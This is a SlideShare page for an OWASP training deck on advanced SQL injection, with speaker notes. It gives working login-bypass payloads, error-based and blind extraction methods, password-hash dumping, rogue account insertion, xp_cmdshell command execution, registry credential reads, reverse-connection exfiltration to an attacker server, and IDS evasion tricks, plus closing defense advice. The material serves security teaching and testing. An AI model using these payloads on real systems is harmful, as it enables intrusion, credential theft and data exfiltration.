Advanced sql injection


Published on

Published in: Technology
1 Like
No Downloads
Total views
On SlideShare
From Embeds
Number of Embeds
Embeds 0
No embeds

No notes for slide
  • SQL stands for Structured Query Language. It is the and ANSI (American National Standards Institute) standard language for accessing and manipulating relational database systems. ANSI is a standards committee composed of database experts from industry, academia and software vendors. It has also been accepted as a standard by ISO (International Organization for Standardization). SQL is a standard open language without corporate ownership. The commercial acceptance of SQL was precipitated by the formation of SQL Standards committees by the ANSI and the ISO in 1986 and 1987. Two years later they published a specification known as SQL89. An improvement and expansion to the standard gave the world SQL92. We now have the third generation standard, SQL99 also known as SQL3. SQL is used to communicate with a database. The communicating parties are typically a "front end" which sends a SQL Statement across a connection to a "back end" that holds the data. SQL statements are used to perform tasks such as retrieve, create, update or delete data from a database. Some common relational database management systems that use SQL are: Oracle, MS SQL Server, MS Access, Ingres, DB2, Sybase, Informix, etc.
  • Although most database systems use SQL, most of them also have their own additional proprietary extensions that are usually only used on their system. Most DBMS are designed to meet the SQL92 standard partially and have not implemented the advanced features. However, the standard SQL commands such as "Select", "Insert", "Update", "Delete", "Create", and "Drop" can be used throughout all database with little changes. All of the core functions, such as adding, reading and modifying data, are the same.
  • A relational database system contains one or more objects called tables. The data or information for the database are stored in these tables. Tables are uniquely identified by their names and are comprised of columns and rows. Columns contain the column name, data type, and any other attributes for the column. Rows contain the records or data for the columns. Here is a sample table called "users". This is a user defined table that could be used for validating and managing application users. In this table, the first row called userID is specified as an integer. By being defined as an integer column the only type of data that can be stored in that column are numeric integers. UserID is also the Primary Key for the Table. A table usually has a column or combination of columns whose values uniquely identify each row in the table. This column (or columns) is called the Primary Key of the table and enforces the entity integrity of the table. There can be no duplicate values. The other four columns are varchar (variable character data). Any kind of strings can be stored in these columns. Character data consists of any combination of letters, symbols, and numeric characters. To note, the password field is not encrypted. This should be implemented at an application level. These passwords are not directly linked or related to the SQL database passwords or the Operating System passwords.
  • The SELECT statement is used to query the database and retrieve selected data that match the criteria that you specify. The column LastName that follows the SELECT keyword determines which column will be returned in the results. You can select as many column names that you'd like, or you can use a "*" to select all columns. The table name users that follows the keyword FROM specifies the table that will be queried to retrieve the desired results. The WHERE clause (optional) specifies which data values or rows will be returned or displayed. Based on the criteria described after the keyword WHERE the select statement will only bring the LastName value for all rows where UserID = 1. And also because UserID is the Primary Key (and therefore cannot have duplicate values), the only result for this query is "Smith".
  • SQL has many capabilities, but the most common needs are to: Read existing data - SELECT statement Change existing data - UPDATE statement Create new records holding data - INSERT INTO statement Delete data - DELETE statement
  • Data Definition Language (DDL) is used to define and manage all the objects in an SQL database. DDL statements are SQL statements that support the definition or declaration of database objects (for example, CREATE TABLE, DROP TABLE, and ALTER TABLE). SQL contains DDL commands that can be used either interactively, or within programming language source code, to define databases and their components. Some of the most commonly used DDL statements in SQL are: CREATE TABLE - creates a new database table ALTER TABLE - changes a database table structure DROP TABLE - deletes a table and all rows in the database table CREATE INDEX - creates an index (search key) DROP INDEX - deletes an index For each object class, there are usually CREATE, ALTER, and DROP statements, such as CREATE TRIGGER, ALTER TRIGGER, and DROP TRIGGER.
  • A Relational Database Management System (RDBMS) is defined as a system whose users view data as a collection of tables related to each other through common data values. Data is stored in tables, and tables are composed of rows and columns. Tables of independent data can be linked (or related) to one another if they each have columns of data (called keys) that represent the same data value. E.F. Codd’s Twelve Principles of Relational Databases continue to be used to validate the “relational” characteristics of a database product. A database product that does not meet all of these rules is not fully relational. One important aspect of all relational databases is that Metadata is stored within the database. Codd's rule #4 states: 4. Metadata (data about the database) must be stored in the database just as regular data is. Other important Codd's rules that define the way SQL Injection is done: 5. A single language must be able to define data, views, integrity constraints, authorization, transactions, and data manipulation. 10. Integrity constraints must be available and stored in the RDB metadata, not in an application program.
  • SQL injection is a type of security exploit in which the attacker adds SQL statements through a web application's input fields or hidden parameters to gain access to resources or make changes to data. It's a serious vulnerability, which can lead to a high level of compromise - usually the ability to run any database query. It is an attack on web-based applications that connect to database back-ends in which the attacker executes unauthorized (and unexpected) SQL commands by taking advantage of insecure code and bad input validation. It is very often done on systems connected to the Internet because it allows to completely bypass the firewall. SQL injection attacks can be used to steal information from a database from which the data would normally not be available and to gain access to host computers through the database engine.
  • Web-based applications constitute the worst threat of SQL injection. In our Pen Tests, over 60% of our clients continue to be vulnerable to SQL Injection. The main problem with SQL Injection is that the vulnerability is originated when the web application is coded. Most programmers are still not aware of the problem. Tutorials and demo "templates" on the Internet and even some that have been shipped with commercial databases promote building queries by concatenating strings, which is the main source for SQL Injection vulnerabilities. Additionally, a lot of the proposed solutions on the web continue to be flawed.
  • Almost all SQL databases and programming languages are potentially vulnerable. It is an input validation problem that has to be considered and programmed by the web application developer.
  • A common way of validating users in an application is to by checking if the user and password combination exists in the users table. The following query will bring back one record if there is one row where the login = 'victor' and the password = '123': SELECT * FROM users WHERE login = ' victor ' AND password = ' 123 ' To code this, a common practice among developers is to concatenate a string with the SQL command and then execute it to see if it returns something different to null. An Active Server Page code where the SQL statement gets concatenated might look like: var sql = " SELECT * FROM users WHERE login = ' " + formusr + " ' AND password = ' " + formpwd + " ' ";
  • SQL Injection occurs when an attacker is able to insert a series of SQL statements into a 'query' by manipulating data input. If an attacker inserts: ' or 1=1 -- into the formusr field he will change the normal execution of the query. By inserting a single quote the username string is closed and the final concatenated string would end up interpreting or 1=1 as part of the command. The -- (double dash) is used to comment everything after the or 1=1 and avoid a wrong syntax error. This could also have been achieved by inserting the following command: ' or '1'='1 By injecting any of the two commands discussed, an attacker would get logged in as the first user in the table. This happens because the WHERE clause ends up validating that the username = ' ' (nothing) OR 1=1 ( OR '1'='1' in the second statement) The first conditional is False but the second one is True. By using OR the whole condition is True and therefore all rows from table users are returned. All rows is not null therefore the log in condition is met.
  • The single quote character closes the string field and therefore allows all of the following text to be interpreted as SQL commands. To prevent this, a lot of the SQL Injection quick solutions found on the Internet suggest escaping the single quote with a double quote (that is the standard way of escaping single quotes in SQL99). This is only a half remedy though because there are always numeric fields or dates within forms or parameters that will remain vulnerable.
  • With a similar syntax a numeric login would not use single quotes because in SQL you only need quotes for strings. This PHP / MySQL code example concatenates a query that uses no single quotes as part of the syntaxis.
  • Injecting into a numeric field is very similar. The main difference with string injection is that in numeric injection the first number is taken as the complete parameter (no need to close it with a single quote) and all the text after that number will be considered as part of the command. In this case the # (number sign) is used instead of the -- (double dash) because we are injecting into a MySQL database.
  • Symbol Usage in SQL99 complaint DBs + Addition operator; also concatenation operator; when used in an URL it becomes a white space) || Concatenation operator in Oracle and Postgres - Subtraction operator; also a range indicator in CHECK constraints = Equality operator <> != Inequality operators >< Greater-than and Less-than operators ( ) Expression or hierarchy delimiter % Wildcard attribute indicator , List item separator @, @@ Local and Global variable indicators . Identifier qualifier separator ‘’ “” Character string indicators “” Quoted identifier indicators -- Single-line comment delimiter # Single-line comment delimiter in MySQL or date delimiter in MS Access /*…*/ Begin and End multiline comment delimiter
  • Depending on your objective the general methodology may vary. For Pen Testing purposes we have defined some comprehensive steps for testing applications.
  • We have based our methodology on the OWASP Testing Framework. The Open Web Application Security Project (OWASP) is a volunteer project dedicated to sharing knowledge and developing open source software that promotes a better understanding of web application security. The OWASP Testing Project has been in development for over two years. It helps understand the what, why, when, where, and how of testing web applications, and not just provide a simple checklist or prescription of issues that should be addressed. OWASP has built a testing framework from which we have expanded to build our own testing program. In our Detailed Structured Analysis each step is analyzed, and all the tangents and sub-tangents are followed (attack-trees). Above we have included our SQL Injection analysis attack tree.
  • The first step is to find a vulnerable entry in the web application.
  • To find vulnerabilities all parameters in a web form must be checked. SQL Injection can happen in any of the following: Fields in Web Forms Script Parameters in Query Strings sent as part of the URL Values stored in cookies that are sent back to the web application Values sent in hidden fields To find all the different entry points in a web application a web proxy or a fuzzer must be used. With a fuzzer we insert different types of input into each entry point. "Fuzzing" is an automated software testing technique that generates and submits random or sequential data to various entry points of an application in an attempt to uncover security vulnerabilities. We use this technique to send specific string combinations with SQL specific reserved characters and words. We are looking for an application error or changes in the applications behavior or responses due to the insertion of one or several strings. For example, the delay query will make the application respond after 10 seconds if it is vulnerable and executing our command (in this case it would also have to be a MS SQL Server).
  • Once a vulnerable entry has been detected. The next step is to gather as much information as possible about the underlying application.
  • The information gathering stage is fundamental. The scope and depth of the subsequent attack as well as, the query syntax to be used will both be determined by the results of this stage. Output mechanisms are essential for extracting information about and within the database. Depending on the type of mechanism found, it will strongly change the attack techniques. Understanding the underlying query will allow to craft correct statements. By knowing this, different types of error messages and attacks are possible. Different databases allow and require different SQL syntax. Defining the database engine type is fundamental for the following stages. Most advanced SQL injection requires high user privilege levels. Knowing what we can or cannot do will save us time. Finally, interacting with the underlying operating system either through command execution or through read/write access to the file system will allow a whole different group of attacks.
  • An important aspect of SQL Injection is getting information back. This can be tricky because Web Applications do not normally allow you to see the results of your queries. For the attacker, the easiest situation would be to have the results of the modified query displayed as part of the web server response. This sometimes happens when the vulnerable input is part of query that sends a result set back to the web application, such as lists. In this case most information can be crafted through union statements to be displayed with the result set. In other cases the modified query result set is used by the application and is not displayed through the web application. If the Web Server is configured to display error messages, a lot of information can be extracted through them. Finally, if the modified query interrupts the normal behavior of the application (which can result in a 403 or 404 error message) but no error message is displayed, this is normally an indication of blind SQL injection. There are methods to extract information from databases through time delays or error signatures. Almost the same things can be done in both scenarios but Blind Injection is much slower, much noisier and more difficult because most of the information hast to be extracted slowly (through a lot of queries) or guessed. Other mechanisms that may be used to send information are email, creating remote webpages using smb, or sending complete files with ftp or tftp.
  • Grouping error Within a SELECT statement the HAVING command allows to further define a query based on the “grouped” fields. The error message will tell us which columns have not been grouped. Type mismatch or overflow errors By trying to insert strings into numeric fields or a bigint into an int the error message will show us the data that could not get converted.
  • By using a condition as shown in the first example and if we know the expected outcome for a correct and for an incorrect condition, we can prove if the condition is true or not. This works with all SQL databases, what varies is the type of condition we can insert. Using if statements with some kind of delay is different for different databases. Some like MS SQL Server will require the IF condition to be a separate command (shown in the WAITFOR DELAY query above). In others, like in MySQL the same effect can be achieved with the BENCHMARK function, which can be used as an expression within a SELECT statement. Additionally, we can run the same types of queries as in normal injection but with no debugging information. This gets complicated fast. With the Boolean responses we can extract text information by converting it into ASCII and then converting the ASCII to binary and THEN getting one bit at a time. This can be very time consuming and above all notorious because of its noisiness. It has been automated in tools like SQueaL that allow complete database structures and their contents to be transferred bit by bit.
  • It is important to know in what part of the modified query we are. The parameter we are modifying can land in wide variety of places. It can be part of a SELECT, UPDATE, EXEC, INSERT, DELETE or CREATE statement. It can be part of a subquery, a stored procedure parameter or something more complex. We start by determining what the form or page is trying to do with our input. What is the name of the field? How would we have written that SQL query?
  • Most injection points end up in the WHERE clause of a SELECT statement as shown above. There are several parts of the statement that can be bypassed or included depending on how we structure our insertion.
  • UPDATE statements are also found in places like the "change my password" section. It can be trickier to inject into an UPDATE statement. You potentially do more damage. In our example above you can end up inserting into the SET part of the query ('new password'). And if you do and decide to comment the rest of the query, all users in the table users would get their password changed.
  • To better understand a SELECT query a good way is to try to replicate an error free navigation. By sending statements like the ones described above you can be certain of the application responses to both TRUE and FALSE conditions. We try generating specific types of errors that give you more information about the table name and parameters in the query. Sometimes we may have to add parenthesis to escape a subquery.
  • We can also inject into stored procedures or add batch commands to the execution depending on how the parameters are passed to the store procedure and how it is executed. If we know there is a vulnerability we can add new variables and parameters to try to understand the query. We will get different types of errors depending on what we add. The PRINT command is also useful because it is recognized by the database engine but should have no effect. Passing a @@variable to the print command can help distinguish between correct or incorrect responses. The main purpose is to try to identify if commands are being executed or not and exactly in what part of what query we landed on.
  • There are some tricky queries where you end up in the middle of a subquery or a BEGIN-END statement. We will try to close parenthesis and add END commands. This may help to escape the query. In other occasions the same input will be used in several queries. Slightly changing the input gives you different error messages that come from different queries. This gets particularly confusing when trying UNION statements. You will normally be able to work generating errors in the first query. The tough part is realizing which errors come from which queries. Sometimes we cannot change or inject anything into the query without generating a cascade of errors that are inescapable. There are some queries that because of the way they are built or the database they are using, are simply impossible to escape. In these cases it is easier to go and find another injection point.
  • Determining the database engine type is fundamental to continue with the injection process. Most times this will be easy if we have error messages coming back. ODBC will normally display the database type as part of the driver information when reporting an error. In those cases where the error message is not an ODBC message that can also be useful. First, you know you are most probably not on a Windows box. By knowing what operating system and web server we are connecting to it is easier sometimes to deduce the possible database. Using specific characters, commands, stored procedures and syntax we can know with much more certainty what SQL database we have injected into.
  • Above are some differences that can be used to determine what db we are in if we have no other easier way. By trying out conditions using the 'and condition and '1'='1 statement we can determine what type of database we have connected to.
  • The differences from one database to the other will also determine what we can or cannot do. To notice, MySQL is the only one that does not support subqueries in its current release. Nevertheless, beta version 4.1 has implemented subqueries and will soon be released. The UNION statement was implemented in MySQL version 4.0. Batch queries are not very common and stored procedures are only available in MS SQL and Oracle. The more complete, flexible and OS integrated a database is, the more potential avenues of attack.
  • The next piece of information we need to know are what privileges are we running with. We will have the privileges of the user with which the application server connects to the database. We want to know what that user's privileges are. SQL99 has built-in scalar functions supported by most SQL implementations that allow us to query within a SELECT statement for the current user, the session user and the system user. We can use these functions to return the user name within an error message. If we are using blind injection we can also use an if and a time delay along with the name of a privileged user (dba or root) to determine if we are administrators or root of the database.
  • Default database administrator accounts vary from one database to another. It is common to find SQL injection in connections that are running default administrator privileges. A default administrator will have privileges to do everything within the database and that in some cases extends over to the operating system easily.
  • Once we know basic information about the database, the query structure and our privileges we will start the attack.
  • The next thing we will want to know is the database structure. For that we will use the "HAVING 1=1" statement to enumerate all columns in the table. After that, by using a UNION statement and trying to sum() a column name we can quickly identify numeric from alphanumeric columns. To enumerate tables in a database we can directly query the metadata. Each database has its own metadata structure. The one above is a MS SQL specific query.
  • In different databases the queries to enumerate the columns of a table can also be done directly by querying the metadata. In each database the syntax is slightly different.
  • This query enumerates all tables and columns in the database. It can be inserted into a grid result. This also uses common metadata tables to determine the table, each field in the table, and the type of each field. This result set could also be concatenated through a temp table into a single string and with Substring() could be used to get the results through error messages, 256 characters at a time.
  • Some servers have several databases. By interrogating metadata system tables information about the databases can also be extracted.
  • This is a list of some of the useful metadata system tables in different databases.
  • Extracting data is easy once the database has been enumerated and the query is understood.
  • With this query all the logins and passwords from our users tables are extracted into a variable called @var. This variable @var is inserted into a new table called temp in a column called var. The var column of the temp table is then sent back through an error message. The temp table is deleted from the database. We could also insert a login and password of our own into the users table with the following command: '; insert into users select 4,'Victor','Chapela','victor','Pass123' --
  • An additional step would be to create our own user account for the database. This might allow us to connect directly to the database and is necessary for certain types of commands. With the appropriate privileges we can create our own account in the database. Here is a list of some commands to create user account in different databases engines.
  • Some databases also store the hashes for the database user passwords within a table. In MS SQL Server the name and password for users are stored in a table called sysxlogins. To extract them we have to convert the hashes that are kept in binary form into a hexadecimal format that can be displayed as part of the error message. We then concatenate them into one single long string. One important thing to note is that even though the name column in sysxlogins is public, the password column requires dbo access level. If access to the password fields is not possible, the user names can be used as part of a brute forcing attempt described later.
  • To do this we select one by one the entries within sysxlogins that have a password. We then hex each hash and concatenate it to the variable we are building. We repeat this for each valid password. We end up with a table that contains in one single line, all the user name/password pairs (up to 8000 characters).
  • This is the complete statement we defined to translate the passwords to hex, concatenate them and store them as part of a varchar variable. This query requires some changes for long user tables.
  • We then use substring to extract one 256 character piece at a time.
  • The hashes could be broken offline. But if we wanted to use the victim Server processing power to brute force the password hashes we could use the above query to start an dictionary attack on the stored hashes. The dictionary could be inserted by hand, with a perl script or by sending a wordlist (we will later see some options for file transfers).
  • If we have network connectivity a reverse connection can be established and the whole database can be transferred to our local SQL Server.
  • By transferring the database's metadata you can recreate the database structure in your local system.
  • Once the structure has been recreated, the data may be easily transferred a table at a time. Using this method, an attacker can retrieve the contents of a table even if the application is designed to conceal error messages or invalid query results.
  • Depending on the database type and our privileges with in it, we may be able to interact directly with the underlying operating system.
  • There are two main ways to interact with the operating system. Depending on the database engine and the configuration we may be able to read and write files or execute commands. In both cases we will be restricted by the privileges and permissions of the user with which the database engine is run. If we can read and write files we will be able to upload into the database files containing password and configuration information. In a similar way we would also be able to change some of the passwords or configuration files by appending or overwriting system files. If we have OS command execution we will be able to do anything.
  • The LOAD_FILE function returns a string containing the contents of a file, specified by it's path. LOAD_FILE also works on binary files, and SUBSTRING allows you to skip nulls and select x characters at a time, so the attacker can use this technique to read arbitrary text or binary files. LOAD_FILE is a function that can be used as a term in a select statement, whereas issuing a complete statement like 'LOAD DATA INFILE' is somewhat tricky. If the SQL injection situation allows us to submit multiple statements, however, this can be a serious problem. The companion statement to LOAD DATA INFILE is SELECT INTO OUTFILE. Many of the same disadvantages are present from the attacker's point of view. MySQL does not support batch queries and therefore it is difficult to execute through SQL injection. Nevertheless, this statement represents the most obvious way for an attacker to gain control of a MySQL Server. Normally by creating nonexistent configuration files, possibly in users home directories. We can also create binary files with SELECT INTO DUMPFILE. It's worth remembering that in recent versions this statement cannot modify existing files; it can only create new ones.
  • The XP_CMDSHELL extended procedure allows us to execute any OS command in a non interactive way. To be able to read the results of the command execution we have to send the output into a file and then insert that file into the database using bulk insert. Once in the database, we can concatenate the data into one long string so we can read it 256 characters at a time through error messages. We would then delete the temporary file and table at the end.
  • It is important to keep in mind that the web server in most cases is not the database server. So we might be executing commands in a server that has no direct Internet connectivity.
  • To expand our influence into the operating system we want to know if we have some kind of network connectivity. To do so there are several different techniques we can use. We can interrogate the database for the server name and we can use xp_cmdshell to run OS level networking commands. We may also try reverse connections that will give us information about the remote IPs or even allow us to upload files.
  • When using a reverse DNS lookup we will have to use our own IP and ask for any domain name. By using a sniffer or by checking our firewall log we will be able to see the incoming DNS requests. DNS lookups will normally get through firewalls and proxies even if the machine has no Internet access configured by using the DNS hierarchy. Another way of doing this is with ICMP packets, for example using PINGs. This is more likely to be blocked by the firewall though. We may try to use OPENROWSET (this does not require administrative privileges) to connect back to our own IP. We can choose to connect to port 80 in an attempt to circumvent firewall or proxy rules.
  • By executing these commands we can retrieve a very detailed network configuration.
  • To execute network reconnaissance in a simple steps the above statements could be executed.
  • To be able to execute OS commands through SQL Injection is not always possible.
  • In most databases, the path into the operating system will not be direct. We will have to start searching for passwords and in some cases replacing configuration files to be able to gain access. And access will be obtained indirectly. In MS SQL Server in particular we will be able to use the exec xp_cmdshell procedure to execute commands. One of the first thing we may want to do as an attacker is to add our own user and include it as an administrator. There are a lot of different extended procedures in MS SQL Server that can be abused by an attacker. Another one is xp_servicecontrol that allows us to start a service.
  • Yet another way to execute commands or applications from SQL Server is through ActiveX automation. Several built-in extended stored procedures are provided which allow the creation of ActiveX Automation scripts in SQL server. These scripts are functionally the same as scripts running in the context of the windows scripting host, or ASP scripts - they are typically written in VBScript or JavaScript, and they create Automation objects and interact with them. An automation script written in Transact-SQL in this way can do anything that an ASP script, or a WSH script can do. This example illustrates the flexibility of the technique; it uses the 'speech.voicetext' object, causing the SQL Server to speak.
  • There are also extended procedures that will allow us to read or write to the registry. With the xp_regread we would be able to extract the decimal equivalent of the obfuscated VNC password. The whole set of built in extended stored procedures for interacting with the registry are: xp_regaddmultistring, xp_regdeletekey, xp_regdeletevalue, xp_regenumkeys, xp_regenumvalues, xp_regread, xp_regremovemultistring and xp_regwrite. Some other interesting keys to explore include: HKLM\\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters\\ nullsessionshares HKLM\\SYSTEM\\CurrentControlSet\\Services\\ snmp \\parameters\\ validcommunities HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ Winlogon\\DefaultUserName HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ Winlogon\\DefaultPassword HKLM\\SOFTWARE\\Microsoft\\ TelnetServer\\1.0\\NTLM HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA\\ RestrictAnonymous HKLM\\SOFTWARE\\ORL\\ WinVNC3\\Default\\Password HKU\\Software\\ORL\\ WinVNC3\\Password HKLM\\SOFTWARE\\Symantec\\ Norton AntiVirus\\CurrentVersion HKU\\Software\\Microsoft\\Internet Account Manager\\Accounts\\ 00000001\\ POP3 User Name HKU\\Software\\ Kazaa\\UserDetails\\UserName HKU\\Software\\Microsoft\\ Exchange\\UserName HKU\\Software\\Microsoft\\ Exchange\\LogonDomain
  • In this final stage we may want to expand our influence to other applications or servers.
  • To find out if there are any linked servers we may use the sysservers table. Once we know what the other servers are, hopping into their databases can be easily achieved by using the OPENROWSET command again.
  • Linked and remote servers in Microsoft SQL Server allows one server to communicate transparently with a remote database server. Linked servers allow us to execute distributed queries and even control remote database servers. We could use this capability to access the internal network. We would start by collecting information from the master.dbo.sysservers system table as demonstrated here. To expand further, the attacker could then query the information from the linked and remote servers. The first insert brings us the linked servers in the sysservers table. The second one allows us to retrieve the sysservers table in one of the linked servers. And the last insert would retrieve the remote databases from the sysdatabases table in the linked server.
  • Sometimes the servers will be configured to only allow remote stored procedure execution and they will not permit arbitraries queries to run. If the linked and remote servers are not configured for data access we could try this. All the queries can be done through the sp_executesql stored procedure that circumvents this restriction.
  • Once we have gained adequate privileges on the SQL Server, we will then want to upload “binaries” to the server. Since normally this can not be done using protocols such as SMB, since port 137-139 typically is blocked at the firewall, we will need another method of getting the binaries onto the remote file system. This can be done by uploading a binary file into a table local to us and then pulling the data to the remote server file system using a SQL Server connection. Having created the table to hold the binary, the attacker would then upload the binary into the attackerTable. To circumvent the firewall, we will then configure a connection to our server over port 80 by modifying the registry. The binary can then be downloaded to the victim server from our server by running the remote bcp statement on the victim server. This statement will issue an outbound connection to the attacker’s server and write the results of the query into a file recreating the executable.
  • When there is no Internet connectivity files can still be uploaded by hexing them and sending them as part of the query strings. This is still a manual and tedious process but can be done by a dedicated hacker.
  • The whole queries would have taken too much space to include here.
  • In some cases there will be input validation in place or an Intrusion Prevention System that will distort or drop some of our attempts to inject. We will now review possible evasion techniques.
  • Both IDS and input validation circumvention are very similar. We will use different techniques to change the expected input and bypass completely the "signatures". IDS or IPS should never be used alone to protect applications from SQL Injection vulnerabilities. It should be implemented as an alerting mechanism.
  • An IDS signature may be looking for the 'OR 1=1 . There are numerous ways of replacing this so that it continues to have the same effect.
  • One common way to implement input validation in PHP is by using PHP's addslashes() function or by turning on magic_quotes_gpc. This will protect string injection but this may give them a false sense of security since injection in numeric fields is still possible.
  • Some ways to evade and circumvent validation or detection is through encoding of parameters. Different types of detection will be vulnerable to distinct encoding.
  • To inject into MySQL without using double quotes the char() function can be very useful. Char() also works on almost all other DBs but sometimes it can only hold one character at a time like for example char(0x##)+char(0x##)+…
  • IDSs used to be vulnerable to changing the number of white spaces and could be tricked by doing so. Adding special characters like tab, carriage return or linefeeds will sometimes evade the signature. Some SQL interpreters do not even need spaces between commands and parameters. This would completely change the IDS's signature and make untraceable without changing the execution of the statement.
  • There is another very interesting way to evade IDS. And that is by using the multirow comments. These will work in almost all databases and can be used to replace white spaces. They could even allow to spread commands through different fields.
  • In MySQL comments can even be put in the middle of SQL commands. Another way of splitting instructions to avoid IDS detection is by using execution commands that allow us to concatenate text in Oracle or MS SQL Server.
  • Other techniques will allow us to define variables and then have them executed. Variables can be defined in hex completely avoiding the need for single quotes.
  • Defending against SQL Injection is easy. But it has to be done in a methodical way.
  • Input validation is the most important part of defending against SQL injection. You should enforce input validation in all new applications through strong design. Any you should audit all your existing code and websites. You should additionally always harden your servers as well.
  • What we believe to be a strong design, is that which can be secure always. For this to happen it has also to be the easiest way for programmers to query the database. You should use stored procedures to interact with database and call procedures through a parameterized API. All input should be validated and all database users should run under the "least privilege" principle. You may need to define different roles, one for every type of query.
  • For each field you should define the type of input it will allow. Then you should use filters to verify that only good input gets through and that you reject any suspicious one. Implement "known bad" filters for SQL reserved words and characters.
  • Harden your servers. If there is a breach, you should be protected to the core. Never trust your input validation, applications continue to change through time and unexpected vulnerabilities may emerge in time.
  • One last but important point is to apply dissuasive messages to your error messages. This will scare most of the possible attackers away. Use an IDS to detect and block attacks, they may try other avenues if the first one fails.
  • Advanced sql injection

    1. 1. Advanced SQL Injection Victor Chapela Sm4rt Security Services victor@sm4rt.comOWASP4/11/2005 Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation
    2. 2. What is SQL? SQL stands for Structured Query Language Allows us to access a database ANSI and ISO standard computer language  The most current standard is SQL99 SQL can:  execute queries against a database  retrieve data from a database  insert new records in a database  delete records from a database  update records in a database OWASP 2
    3. 3. SQL is a Standard - but...There are many different versions of the SQL languageThey support the same major keywords in a similar manner (such as SELECT, UPDATE, DELETE, INSERT, WHERE, and others).Most of the SQL database programs also have their own proprietary extensions in addition to the SQL standard! OWASP 3
    4. 4. SQL Database Tables A relational database contains one or more tables identified each by a name Tables contain records (rows) with data For example, the following table is called "users" and contains data distributed in rows and columns: userID Name LastName Login Password 1 John Smith jsmith hello 2 Adam Taylor adamt qwerty 3 Daniel Thompson dthompson dthompson OWASP 4
    5. 5. SQL QueriesWith SQL, we can query a database and have a result set returnedUsing the previous table, a query like this: SELECT LastName FROM users WHERE UserID = 1;Gives a result set like this: LastName -------------- Smith OWASP 5
    6. 6. SQL Data Manipulation Language (DML)SQL includes a syntax to update, insert, and delete records: SELECT - extracts data UPDATE - updates data INSERT INTO - inserts new data DELETE - deletes data OWASP 6
    7. 7. SQL Data Definition Language (DDL) The Data Definition Language (DDL) part of SQL permits:  Database tables to be created or deleted  Define indexes (keys)  Specify links between tables  Impose constraints between database tables Some of the most commonly used DDL statements in SQL are:  CREATE TABLE - creates a new database table  ALTER TABLE - alters (changes) a database table  DROP TABLE - deletes a database table OWASP 7
    8. 8. Metadata Almost all SQL databases are based on the RDBM (Relational Database Model) One important fact for SQL Injection  Amongst Codds 12 rules for a Truly Relational Database System: 1. Metadata (data about the database) must be stored in the database just as regular data is  Therefore, database structure can also be read and altered with SQL queries OWASP 8
    9. 9. What is SQL Injection?The ability to inject SQL commands into the database engine through an existing application OWASP 9
    10. 10. How common is it? It is probably the most common Website vulnerability today! It is a flaw in "web application" development, it is not a DB or web server problem  Most programmers are still not aware of this problem  A lot of the tutorials & demo “templates” are vulnerable  Even worse, a lot of solutions posted on the Internet are not good enough In our pen tests over 60% of our clients turn out to be vulnerable to SQL Injection OWASP 10
    11. 11. Vulnerable Applications Almost all SQL databases and programming languages are potentially vulnerable  MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix, etc Accessed through applications developed using:  Perl and CGI scripts that access databases  ASP, JSP, PHP  XML, XSL and XSQL  Javascript  VB, MFC, and other ODBC-based tools and APIs  DB specific Web-based applications and API’s  Reports and DB Applications  3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)  many more OWASP 11
    12. 12. How does SQL Injection work?Common vulnerable login query SELECT * FROM users WHERE login = victor AND password = 123(If it returns something then login!)ASP/MS SQL Server login syntax var sql = "SELECT * FROM users WHERE login = " + formusr + " AND password = " + formpwd + ""; OWASP 12
    13. 13. Injecting through Stringsformusr = or 1=1 – –formpwd = anythingFinal query would look like this: SELECT * FROM users WHERE username = or 1=1 – – AND password = anything OWASP 13
    14. 14. The power of It closes the string parameterEverything after is considered part of the SQL commandMisleading Internet suggestions include: Escape it! : replace with String fields are very common but there are other types of fields: Numeric Dates OWASP 14
    15. 15. If it were numeric?SELECT * FROM clientsWHERE account = 12345678AND pin = 1111PHP/MySQL login syntax$sql = "SELECT * FROM clients WHERE " ."account = $formacct AND " ."pin = $formpin"; OWASP 15
    16. 16. Injecting Numeric Fields$formacct = 1 or 1=1 #$formpin = 1111Final query would look like this: SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111 OWASP 16
    17. 17. SQL Injection Characters or " character String Indicators -- or # single-line comment /*…*/ multiple-line comment+ addition, concatenate (or space in url) || (double pipe) concatenate% wildcard attribute indicator ?Param1=foo&Param2=bar URL Parameters PRINT useful as non transactional command @variable local variable @@variable global variable waitfor delay 0:0:10 time delay OWASP 17
    18. 18. MethodologyOWASP Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation
    19. 19. SQL Injection Testing Methodology 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP 19
    20. 20. 1) Input Validation 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP 20
    21. 21. Discovery of Vulnerabilities Vulnerabilities can be anywhere, we check all entry points:  Fields in web forms  Script parameters in URL query strings  Values stored in cookies or hidden fields By "fuzzing" we insert into every one:  Character sequence: " ) # || + >  SQL reserved words with white space delimiters  %09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec, etc)  Delay query waitfor delay 0:0:10-- OWASP 21
    22. 22. 2) Information Gathering 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP 22
    23. 23. 2) Information Gathering We will try to find out the following: a) Output mechanism b) Understand the query c) Determine database type d) Find out user privilege level e) Determine OS interaction level OWASP 23
    24. 24. a) Exploring Output Mechanisms1. Using query result sets in the web application2. Error Messages  Craft SQL queries that generate specific types of error messages with valuable info in them3. Blind SQL Injection  Use time delays or error signatures to determine extract information  Almost the same things can be done but Blind Injection is much slower and more difficult4. Other mechanisms  e-mail, SMB, FTP, TFTP OWASP 24
    25. 25. Extracting information through ErrorMessages Grouping Error  group by columnnames having 1=1 - - Type Mismatch  union select 1,1,text,1,1,1 - -  union select 1,1, bigint,1,1,1 - -  Where text or bigint are being united into an int column  In DBs that allow subqueries, a better way is:  and 1 in (select text ) - -  In some cases we may need to CAST or CONVERT our data to generate the error messages OWASP 25
